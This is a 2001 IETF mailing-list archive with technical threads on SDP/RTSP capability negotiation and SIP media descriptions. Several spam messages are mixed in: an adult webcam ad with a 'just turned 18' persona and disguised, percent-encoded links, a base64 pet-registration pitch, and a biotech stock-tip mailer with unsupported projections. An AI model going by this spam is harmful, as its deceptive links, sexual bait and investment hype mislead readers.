	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f2N02xG29788
	for <confctrl@ISI.EDU>; Fri, 23 Mar 2001 01:03:02 +0100 (MET)
To: confctrl@ISI.EDU
Subject: SDPng presentation slides
From: dku@Informatik.Uni-Bremen.DE
Date: 23 Mar 2001 01:01:52 +0100
Message-ID: <cdelvpuzdb.fsf@localhost.localdomain>
Lines: 4
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

http://www.dmn.tzi.org/ietf/mmusic/sdp-ng/ietf50/

-- 
	Dirk


From confctrl-owner  Thu Mar 22 18:29:30 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA21495
	for confctrl-outgoing; Thu, 22 Mar 2001 18:29:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA21490
	for <confctrl@zephyr.isi.edu>; Thu, 22 Mar 2001 18:29:29 -0800 (PST)
Received: from ns1.packetvideo.com (ns1.packetvideo.com [63.214.191.69])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2N2TRq00592
	for <confctrl@ISI.EDU>; Thu, 22 Mar 2001 18:29:27 -0800 (PST)
Received: from misty.packetvideo.com ([63.214.191.76])
	by ns1.packetvideo.com (8.9.3/8.9.3) with ESMTP id SAA19290
	for <confctrl@ISI.EDU>; Thu, 22 Mar 2001 18:29:22 -0800 (PST)
	(envelope-from zeng@PacketVideo.com)
Received: by misty.packetvideo.com with Internet Mail Service (5.5.2653.19)
	id <H3RG9C33>; Thu, 22 Mar 2001 18:22:56 -0800
Message-ID: <72660A24B978D411BB8A00B0D03DFE012851B7@misty.packetvideo.com>
From: Thomas Zeng <zeng@PacketVideo.COM>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: simple capability exchange as supported by current RTSP and SDP R
	FCs
Date: Thu, 22 Mar 2001 18:22:55 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear RTSP/SDP users:

Ten days ago I posted a question to this mailing list. I am glad that
Rob Lanphier, author of RFC2623, answered my question.

Here I'd like to share the answer in case you want to do such things.

If a content is in fact coded with both AMR-NB and AMR-WB, the server's
describe response would look like the
following:


     o=- 2890844256 2890842807 IN IP4 204.34.34.32
     s=I contain
     i=<more info>
     t=0 0
     c=IN IP4 0.0.0.0
     a=control:rtsp://pv.com/movie/crouching_tiger/
     m=video 8002 RTP/AVP 31
     a=control:trackID=1
     m=audio_1 8004 RTP/AVP 97
     a=rtpmap:97 AMR/8000
     a=fmtp:97 mode-set=0,2,5,7; maxframes=1
 
     a=control:trackID=2
     m=audio_2 8006  RTP/AVP 98
     a=rtpmap:98 AMR-WB/16000
     a=fmpt:98 maxframes=5
     a=control:trackID=3

This indicates that this RTSP presentation has an aggregate control
consisting of 3 streams, each with a separate
trackID.

The AMR-NB only player, upon parsing the above SDP info in DESCRIBE
response, would then select tracks 1 and 2
to do SETUP (one for each track).

A AMR-WB capable player may choose to do SETUP on tracks 1 and 3.

Any comments?

THomas




-----Original Message-----
From: Thomas Zeng [mailto:zeng@PacketVideo.COM]
Sent: Tuesday, March 13, 2001 11:03 AM
To: 'Internet-Drafts@ietf.org'
Cc: confctrl@ISI.EDU
Subject: RE: I-D ACTION:draft-ietf-mmusic-sdp-new-01.txt


Dear RTSP/SDP users:

I have a question regarding capability exchange using SDP: 
SDP-simcap serves as a language to describe capability sets, but how does
handshaking take place during
RTSP Setup?

Say server requires AMR-WB decoder in Setup response, but the player can
only support AMR-NB (Narrow Band),
how can player signal it to server? Using another SETUP request?

Regards,
thomas zeng
packetvideo,
zeng@pv.com

-----Original Message-----
From: Internet-Drafts@ietf.org [mailto:Internet-Drafts@ietf.org]
Sent: Thursday, March 08, 2001 3:59 AM
Cc: confctrl@ISI.EDU
Subject: I-D ACTION:draft-ietf-mmusic-sdp-new-01.txt


A New Internet-Draft is available from the on-line Internet-Drafts
directories.
This draft is a work item of the Multiparty Multimedia Session Control
Working Group of the IETF.

	Title		: SDP: Session Description Protocol
	Author(s)	: M. Handley, V. Jacobson, C. Perkins
	Filename	: draft-ietf-mmusic-sdp-new-01.txt
	Pages		: 35
	Date		: 07-Mar-01
	
This document defines the Session Description Protocol, SDP.
SDP is intended for describing multimedia sessions for the
purposes of session announcement, session invitation, and
other forms of multimedia session initiation.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-new-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-new-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

From confctrl-owner  Sat Mar 24 03:56:50 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA06159
	for confctrl-outgoing; Sat, 24 Mar 2001 03:56:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA06148
	for <confctrl@zephyr.isi.edu>; Sat, 24 Mar 2001 03:56:47 -0800 (PST)
Received: from ns3.willsoft.com ([210.181.128.245])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2OBuaq05019;
	Sat, 24 Mar 2001 03:56:36 -0800 (PST)
Received: from 32.102.75.76 (slip-32-102-75-76.wi.us.prserv.net [32.102.75.76])
          by ns3.willsoft.com (2.5 Build 2639 (Berkeley 8.8.6)/8.8.4) with SMTP
	  id UAA29717; Sat, 24 Mar 2001 20:48:22 +0900
From: ha1ryb0tm@hotmail.com
Message-ID: <00001b301c1a$000054c5$00005d89@>
To: <hangtime80@hotmail.com>
Subject: F R E E  TEEN HARDCORE ACTION.   . .   . . . ...   ..  .. .                         23945
Date: Sat, 24 Mar 2001 08:49:23 -0500
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>
<head>
</head>
<br>
<center>
<table cellpadding=3D0 cellspacing=3D0 border=3D0 width=3D600>
	<tr>
		<td width=3D465 bgcolor=3D#cc0000>
		<font face=3D"arial,helvetica" color=3D"white" size=3D"3">
			<center><b>Adult Freebie Express March 25, 2001</b></center>
			</font>

		</td>
	</tr>
</TABLE>
<br>
<table cellpadding=3D0 cellspacing=3D0 border=3D0 width=3D600>
	<tr>
		<td width=3D"465">

		<table>
		<tr>
		<td width=3D140 valign=3D"top">
		<hr width=3D140 color=3D"#325c7d" size=3D1 align=3D"left">
		</td>
		<td width=3D185 valign=3D"top" align=3D"center">
		<font face=3D"verdana,helvetica" color=3D"#0000ff" size=3D1>
		<center><b>IN THIS AFE EDITION</b></center>
		</td>
		<td width=3D140 valign=3D"top">
		<hr width=3D140 color=3D"#325c7d" size=3D1 align=3D"left">
		</td></tr>
		</table>

<P align=3Dcenter width=3D500>
<FONT color=3D#cc3399>
<STRONG><font face=3D"Arial" size=3D"4">Are you over 18???????<BR>We Want =
to Get YOU Off!!
</STRONG>
</P>
<DIV align=3Dcenter>
<a href=3D"http://www.mo3aa.abafbdb.mx%3D14%3D02%3D14%3D05%3D14%2Ecom%7Cne=
t.ped%3D02%3D05%3D14%3D%3D02%3D14%3D05%3D14%3D14.jjjjjjjj.com:80/mo3/abafb=
db/">
Click Here For 100% Free 3 day Trial!</a>
<BR><BR></DIV></FONT>
<P><FONT face=3DArial><FONT
color=3D#cc0000><STRONG>&nbsp; Hi My Name Is Stephanie, I just turned
18&nbsp;TODAY..!!<BR><FONT color=3D#0000ff>I have been wanting to do live
nude&nbsp;webcams but I was not able to because I was too young..</FONT><F=
ONT
color=3D#000000></STRONG><BR></FONT><STRONG>BUT NOW its all legal..Come ch=
eck out
my live feeds and all my picture pages..!!</STRONG></FONT><FONT
color=3D#000000><BR></FONT><STRONG><FONT color=3D#0000ff>I do this because=
 I like it
and it doesn't cost a dime to
watch..!!</FONT></STRONG></FONT><BR><FONT color=3D#ff0033><FONT
size=3D6><STRONG>
<a href=3D"http://www.mo3aa.abafbdb.mx%3D14%3D02%3D14%3D05%3D14%2Ecom%7Cne=
t.ped%3D02%3D05%3D14%3D%3D02%3D14%3D05%3D14%3D14.jjjjjjjj.com:80/mo3/abafb=
db/">
Click HERE to See my first Try ;)</a>
</STRONG></FONT></FONT></P>

<!--Begin Right Side Bar Main-->

<td width=3D"10">=FFFFFFA0</td>
<td width=3D"125" align=3D"center" bgcolor=3D"#cc3399" valign=3D"top">
<font face=3D"verdana,sans-serif" color=3D"black" size=3D"2">
<b>Find out how to get FREE Trials!!</b><br>
<hr color=3D"#384881" noshade width=3D"125" size=3D"1">

Monthly Content beats the competition!
</td>
	</tr>
</table>

<!--End Main-->
<center>
<hr noshade width=3D"600">
<hr noshade width=3D"600" color=3D"darkgreen"><font face=3DArial size=3D2>
</b><br>To receive no more of these go to  
<a href=3D"mailto:wave799us@yahoo.com">
This Page</a></font>

<hr color=3D"lime" noshade width=3D"600" size=3D"1">
</center>
</body>
</html>




From confctrl-owner  Sun Mar 25 00:07:13 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA16632
	for confctrl-outgoing; Sun, 25 Mar 2001 00:07:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA16619
	for <confctrl@zephyr.isi.edu>; Sun, 25 Mar 2001 00:07:12 -0800 (PST)
Received: from sm10.texas.rr.com (sm10.texas.rr.com [24.93.35.222])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2P87Bq23204
	for <confctrl@isi.edu>; Sun, 25 Mar 2001 00:07:11 -0800 (PST)
Received: from localhost (cs2773-200.houston.rr.com [24.27.73.200])
	by sm10.texas.rr.com (8.12.0.Beta5/8.12.0.Beta5) with ESMTP id f2P81Bil013083
	for <confctrl@isi.edu>; Sun, 25 Mar 2001 02:05:19 -0600
Message-Id: <200103250805.f2P81Bil013083@sm10.texas.rr.com>
X-Sender: hermag@excite.com
From: "hermag@excite.com" <hermag@excite.com>
To: confctrl@ISI.EDU
Date: Sun, 25 Mar 2001 02:02:01 -0600
Subject: Would you like to recieve information on how to register your pet online for free?
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001__18676916_7321.4"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a Multipart MIME message.

------=_NextPart_000_001__18676916_7321.4
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit


------=_NextPart_000_001__18676916_7321.4
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: base64

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5VbnRpdGxlZCBEb2N1bWVudDwvdGl0bGU+DQo8bWV0
YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNl
dD1pc28tODg1OS0xIj4NCjwvaGVhZD4NCg0KPGJvZHkgYmdjb2xvcj0iI0ZGRkZGRiIgdGV4
dD0iIzAwMDAwMCI+DQo8cD5IZWxsbyE8L3A+DQo8cD5Xb3VsZCB5b3UgbGlrZSB0byBrbm93
IGhvdyB0byByZWdpc3RlciB5b3VyIHBldCBvbmxpbmUgZm9yIGZyZWU/PC9wPg0KPHA+SWYg
eW91IHdvdWxkIGxpa2UgdG8gYmUgcmVtb3ZlZCBmcm9tIGV2ZXIgcmVjZWl2aW5nIGFub3Ro
ZXIgZW1haWwgcGxlYXNlIHR5cGUgDQogIFJFTU9WRSBvbmx5IGluIHRoZSByZXR1cm4gc3Vi
amVjdCBoZWFkZXIuIFdlIHJlc3BlY3QgeW91ciByaWdodCB0byBwcml2YWN5LjwvcD4NCjxw
PklmIHlvdSB3b3VsZCBsaWtlIHRvIHJlY2VpdmUgbW9yZSBpbmZvcm1hdGlvbiBvbiBob3cg
dG8gcmVnaXN0ZXIgeW91ciBwZXQgZm9yIA0KICBmcmVlIGp1c3QgcmVwbHkgdG8gdGhpcyBl
bWFpbCBtZXNzYWdlIHdpdGggUExFQVNFIFNFTkQgSU5GTyBvbmx5IGluIHRoZSBzdWJqZWN0
IA0KICBoZWFkZXIuPC9wPg0KPHA+PC9wPg0KPHA+VGhhbmsgWW91PGJyPg0KPC9wPg0KPC9i
b2R5Pg0KPC9odG1sPg0K

------=_NextPart_000_001__18676916_7321.4--


From confctrl-owner  Sun Mar 25 06:29:24 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA28844
	for confctrl-outgoing; Sun, 25 Mar 2001 06:29:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA28835
	for <confctrl@zephyr.isi.edu>; Sun, 25 Mar 2001 06:29:22 -0800 (PST)
From: List Manager Account <list-mgr@ISI.EDU>
Received: from pepe1.pepe.ne.jp (pepe1.pepe.ne.jp [210.136.6.226])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2PETAq25968;
	Sun, 25 Mar 2001 06:29:11 -0800 (PST)
Received: from 32.102.75.253 (slip-32-102-75-253.wi.us.prserv.net [32.102.75.253])
	by pepe1.pepe.ne.jp (8.9.3+3.2W/3.7W-MailExchanger) with SMTP id XAA04312;
	Sun, 25 Mar 2001 23:32:40 +0900
Message-ID: <000003d66912$00004218$00001e88@>
To: <Undisclosed.Recipients@pepe1.pepe.ne.jp>
Date: Sun, 25 Mar 2001 22:28:19 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



From confctrl-owner  Tue Mar 27 18:44:12 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA08461
	for confctrl-outgoing; Tue, 27 Mar 2001 18:44:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA08456
	for <confctrl@zephyr.isi.edu>; Tue, 27 Mar 2001 18:44:10 -0800 (PST)
Received: from ns. ([61.132.62.30])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f2S2i9q02876
	for <confctrl@isi.edu>; Tue, 27 Mar 2001 18:44:09 -0800 (PST)
Received: from earthlink.net by ns. (SMI-8.6/SMI-SVR4)
	id KAA21506; Wed, 28 Mar 2001 10:52:05 +0800
From: <biotechstox57@msn.com>
To: confctrl@ISI.EDU
Subject: FREE Biotech Stock Info!    26
Date: Tue, 27 Mar 2001 21:42:06
Message-Id: <187.758800.437515@msn.com>
Reply-To: biotechinfo2003@yahoo.com
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>Do you want to capitalize on the Biotech Revolution</title>
</head>

<body>

<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto" align="center"><img border="0" src="http://www.geocities.com/mailtestbox2001/Kiloh_logo.gif" width="204" height="170"></p>
<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><span style="font-family:Arial">Do
you want to capitalize on the Biotech Revolution? Would you like to add
groundbreaking biotech, pharmaceutical and medical device companies to your
portfolio mix? Does hearing about exciting IPO and private placement offerings
from life sciences companies interest you?</span></p>
<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><span style="font-family:Arial">The
exclusive <b>Ruddy-Carlisle Biotech Infoline</b> service keeps you abreast of
investment opportunities in the life sciences space. Just sign up for it once
and get important information instantly delivered to study at your leisure. Our
service is <b><u>100% FREE</u></b>! <b><span style="color:blue"><a href="mailto:biotechsubscribe2@yahoo.com">Sign
up!</a></span></b></span></p>
<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b><i><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Arial;color:#003366">Ruddy-Carlisle
Biotech Infoline:</span></i></b></p>
<ul type="disc">
  <li class="MsoNormal" style="color:#003366;mso-margin-top-alt:auto;mso-margin-bottom-alt:
     auto;mso-list:l0 level1 lfo1;tab-stops:list .5in"><b><i><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Arial">Instantly
    delivers key life sciences investment information directly to you! </span></i></b><o:p>
    </o:p>
  </li>
  <li class="MsoNormal" style="color:#003366;mso-margin-top-alt:auto;mso-margin-bottom-alt:
     auto;mso-list:l0 level1 lfo1;tab-stops:list .5in"><b><i><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Arial">Learn
    about biotech, pharmaceutical &amp; medical device investment opportunities
    before others! </span></i></b><o:p>
    </o:p>
  </li>
  <li class="MsoNormal" style="color:#003366;mso-margin-top-alt:auto;mso-margin-bottom-alt:
     auto;mso-list:l0 level1 lfo1;tab-stops:list .5in"><b><i><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Arial">Includes
    IPO &amp; private placement information! </span></i></b><o:p>
    </o:p>
  </li>
  <li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
     mso-list:l0 level1 lfo1;tab-stops:list .5in"><b><i><span style="font-size:
     11.0pt;mso-bidi-font-size:12.0pt;font-family:Arial;color:#003366">100%
    FREE!</span></i></b></li>
</ul>
<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><span style="font-family:Arial">For
the entire last decade there were only three profitable biotech companies. At
the end of this year, ten are projected. At the end of 2003, <u>over forty</u>
are projected! The genomic promise is about to be delivered and investors know
it. The <b>Ruddy-Carlisle Biotech Infoline </b>provides you with critical,
decision-making, information that aids the chance of investment success in this
lucrative space. <b><span style="color:blue"><a href="mailto:biotechsubscribe2@yahoo.com">Sign
up!</a></span></b></span></p>
<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b><span style="font-family:Arial">Please
Note-</span></b><span style="font-family:Arial"> Your information will only be
shared with companies that are in the life sciences space <u>and</u> pass our
rigorous inspection. Only the best opportunities will come to you.
Ruddy-Carlisle respects your privacy. <b><span style="color:blue"><a href="mailto:biotechsubscribe2@yahoo.com">Sign
up!</a></span></b></span></p>
<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>
<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>
<b><span style="font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial;
mso-fareast-font-family:&quot;Times New Roman&quot;;mso-ansi-language:EN-US;mso-fareast-language:
EN-US;mso-bidi-language:AR-SA">
</p>
</p>List Removal Instructions</span></b><span style="font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial;mso-fareast-font-family:
&quot;Times New Roman&quot;;mso-ansi-language:EN-US;mso-fareast-language:EN-US;
mso-bidi-language:AR-SA">- Simply click here: <b><span style="color:blue"><a href="mailto:remobiotech3@yahoo.com">remove</a></span></b>
to be instantly and permanently removed from our list. Send the blank email to
the address specified. Please do not try to reply to this message.</span>

</body>

</html>

From confctrl-owner  Wed Mar 28 18:10:39 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA15256
	for confctrl-outgoing; Wed, 28 Mar 2001 18:10:39 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA15251
	for <confctrl@zephyr.isi.edu>; Wed, 28 Mar 2001 18:10:38 -0800 (PST)
Received: from prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2T2Acq05471
	for <confctrl@ISI.EDU>; Wed, 28 Mar 2001 18:10:38 -0800 (PST)
Received: from robla350.real.com ([172.23.100.116])
	by prognet.com (8.9.2/8.9.0) with ESMTP id SAA23707;
	Wed, 28 Mar 2001 18:10:30 -0800 (PST)
Message-Id: <5.0.2.1.0.20010328175627.03b30a70@goobox.prognet.com>
X-Sender: robla@goobox.prognet.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Wed, 28 Mar 2001 18:02:35 -0800
To: Greg Sherwood <sherwood@PacketVideo.COM>,
        "'rem-conf@es.net'" <rem-conf@es.net>
From: Rob Lanphier <robla@real.com>
Subject: Re: negotiating client capabilities within RTSP
Cc: Thomas Zeng <zeng@PacketVideo.COM>, David Kosiba <kosiba@PacketVideo.COM>,
        confctrl@ISI.EDU
In-Reply-To: <72660A24B978D411BB8A00B0D03DFE01178F17@misty.packetvideo.c
 om>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Greg,

I've cc'd the MMUSIC list, since that's the more appropriate forum.

The type of negotiation that you are suggesting is something that would 
need to be handled by extension to RTSP.  There's currently no way, other 
than the "Require" header, for the client to announce its capability set to 
the server, and there isn't yet a standardized set of Require extensions.

Mind you, you probably don't want to use the Require header anyway.  That 
would force an extra round trip from the server if the feature isn't 
supported, and you don't get the benefit of learning what the server *does* 
have to offer, since it's required to return a "feature not supported" 
response.  It's harmless to let the server return a DESCRIBE response, and 
then decide whether or not to proceed to SETUP the streams or not.

The best thing you could do is add a header which lists the media types in 
the DESCRIBE request:

DESCRIBE rtsp://example.org/foo.rm RTSP/1.0
Accept-RTP-Payload:  audio/AMR/8000, audio/AMR-WB/16000
...

....which would then possibly restrict the server to the listed codecs.  If 
the server ignored this header, the client could still determine whether or 
not its capable of playing back the media based on what is returned in the 
SDP in the DESCRIBE response.

You may want to model this after the "Accept" header usage described in RFC 
2295 (http://www.ietf.org/rfc/rfc2295.txt), but that may be more complex 
than you want.

This hasn't been a problem in our system, since the client usually has 
*far* more capabilities than the server has options for returning the content.

Hope this helps.

Rob

At 05:23 PM 3/27/01 -0800, Greg Sherwood wrote:


>I have some questions regarding the implementation of simple capability
>negotiation within RTSP.  Many of the proposed payload formats have optional
>parameters communicated through MIME attributes.  What is the preferred
>method
>of communicating the client capabilities?
>
>In a streaming application, there is no problem with the server listing
>several
>options in the DESCRIBE response using SDP and the syntax defined in the SDP
>simcap
>draft.  The client can then select the desired set of parameters through the
>SETUP
>request (i.e., only does a SETUP on the stream with the desired parameters).
>However,
>this method is only reasonable if the number of options is small.  In other
>cases, the
>client needs to inform the server of its capabilities so they can find a
>mutually agreeable
>set of parameters.  The client typically has the most severe resource
>limitations (especially
>for wireless handsets), so it's probably the case that the server can
>accommodate whatever the
>client can handle if it is informed about the constraints.
>
>It seems like the "Require" field might be a method for the client to inform
>the server about
>capabilities.  What is the preferred syntax if we use the Require field?  Do
>we just use SDP lines?
>Can we include multiple Require fields in a single request?  I get the
>impression that a single
>Require per request is preferred to simplify a possible negative
>acknowledgement from the server.
>However, the delay may become excessive if many requests have to be made to
>get through the capability
>negotiation.  Also if the client sends a range of acceptable values for a
>given parameter, how does the
>server indicate the selected value? Is it possible to send an entity body in
>the SETUP request which
>contains the clients capabilities encoded in SDP?
>
>Sorry for all the questions, but there are many ways to make it work and I
>want to follow the intentions
>of RTSP document. Any advice would be appreciated.
>
>- Greg Sherwood


From confctrl-owner  Thu Mar 29 03:00:14 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA02107
	for confctrl-outgoing; Thu, 29 Mar 2001 03:00:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA02102
	for <confctrl@zephyr.isi.edu>; Thu, 29 Mar 2001 03:00:13 -0800 (PST)
Received: from romi-I.zapex.co.il (romi-I.zapex.co.il [199.203.146.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2TB09q27312
	for <confctrl@isi.edu>; Thu, 29 Mar 2001 03:00:10 -0800 (PST)
Received: from pc052 (a57 [199.203.146.57])
	by romi-I.zapex.co.il (8.9.3/8.9.3/romi-I $Revision: 1.4 $) with SMTP id MAA24785
	for <confctrl@isi.edu>; Thu, 29 Mar 2001 12:56:58 +0200 (IST)
Reply-To: <shaharp@emblazer.com>
From: "Shahar Pavel" <shaharp@emblazer.com>
To: <confctrl@ISI.EDU>
Cc: "Nitzan Shaked" <nitzans@exchange.zapex.co.il>
Subject: Alice and Bob asking questions :-)
Date: Thu, 29 Mar 2001 12:56:09 +0200
Message-ID: <70184A02CE5DD411B2E20004AC151EE680EB9B@nt-exchange.zapex.co.il>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi

My name is Shahar and I am a part of a team which develop video conference
using SIP.

During implementation of SIP I faced some question I hope this forum would
help me with.

Lets say I am a user who would like to initiate AUDIO/VIDEO  session using
SIP.

My name is Alice and the target user name is Bob.

In order to begin the session Alice sends an Invite to Bob with SIP+SDP
message.
Lets say Alice can support 5 different Vocoders and Bob only 2.

1.	Questions :

1.1	What exactly  does the SDP's  media descriptor describes ? Is it what
Alice capable to receive ( e.g. Vocoders types )?  is it what Alice would
like to send ? both maybe ?
1.2	Is it possible for Alice to declare that she is going to send MPEG4
(with out the capability to receive MPEG4 ) and capable to receive MPEG2
(with out the capability to send MPEG2 )

Now Bob receives the message .

2.	Questions :

2.1	 What exactly  does this SDP's  media descriptor describes ?
2.2	what are the possible conversion Bob can do to the  SDP message ?
2.3	What does it means when Bob delete a Media Description Line ? Add a
media description line ? change a Media Description line ?
2.4	What Bob would do if he can support only part of the Media Description.

After Bob convert the SDP message he would send it back with the response to
Alice.

Alice receive the message with the SDP message.

3.	Questions :

3.1	What exactly  does this SDP's  media descriptor describes ?
3.2	In case Alice "dislike" the SDP message would she Initiate BYE method or
ACK and then BYE.
3.3	In case Alice reply with ACK , would she attach a SDP message to the ACK
message ? What for ?
3.4	What this SDP message means ?
3.5	What would Bob understand from Alice not sending an SDP message with the
ACK message.

Thank you very much for your help

shahar








Pavel Shahar
Emblaze Research Ltd.
shaharp@emblazer.com
Phone: +972-9-8658570/320  Cell: +972-53-253576



From confctrl-owner  Fri Mar 30 02:14:18 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA18301
	for confctrl-outgoing; Fri, 30 Mar 2001 02:14:18 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA18296
	for <confctrl@zephyr.isi.edu>; Fri, 30 Mar 2001 02:14:17 -0800 (PST)
Received: from nscolmar.uha.fr (nscolmar.uha.fr [194.167.108.34])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2UAEGq02353;
	Fri, 30 Mar 2001 02:14:16 -0800 (PST)
Received: from [194.167.108.50] (admpcsrv1.uha.fr [194.167.108.50])
          by nscolmar.uha.fr (8.11.0/jtpda-5.3.3) with SMTP id f2U98PX28822
          ; Fri, 30 Mar 2001 11:08:26 +0200
Received: from admpcsrv1.uha.fr by [194.167.108.50]
          via smtpd (for nscolmar.uha.fr [194.167.108.34]) with SMTP; 30 Mar 2001 09:19:14 UT
Received: from gtrpc31 ([192.168.12.82])
          by admpcsrv1.uha.fr (Lotus Domino Release 5.0.3 (Intl))
          with SMTP id 2001033011074145:6609 ;
          Fri, 30 Mar 2001 11:07:41 +0200 
Message-Id: <3.0.1.32.20010330112032.00909e00@uha.fr>
X-Sender: conf@uha.fr (Unverified)
X-Mailer: Windows Eudora Pro Version 3.0.1 (32) [F]
Date: Fri, 30 Mar 2001 11:20:32 +0200
To: conf@uha.fr
From: conf@uha.fr
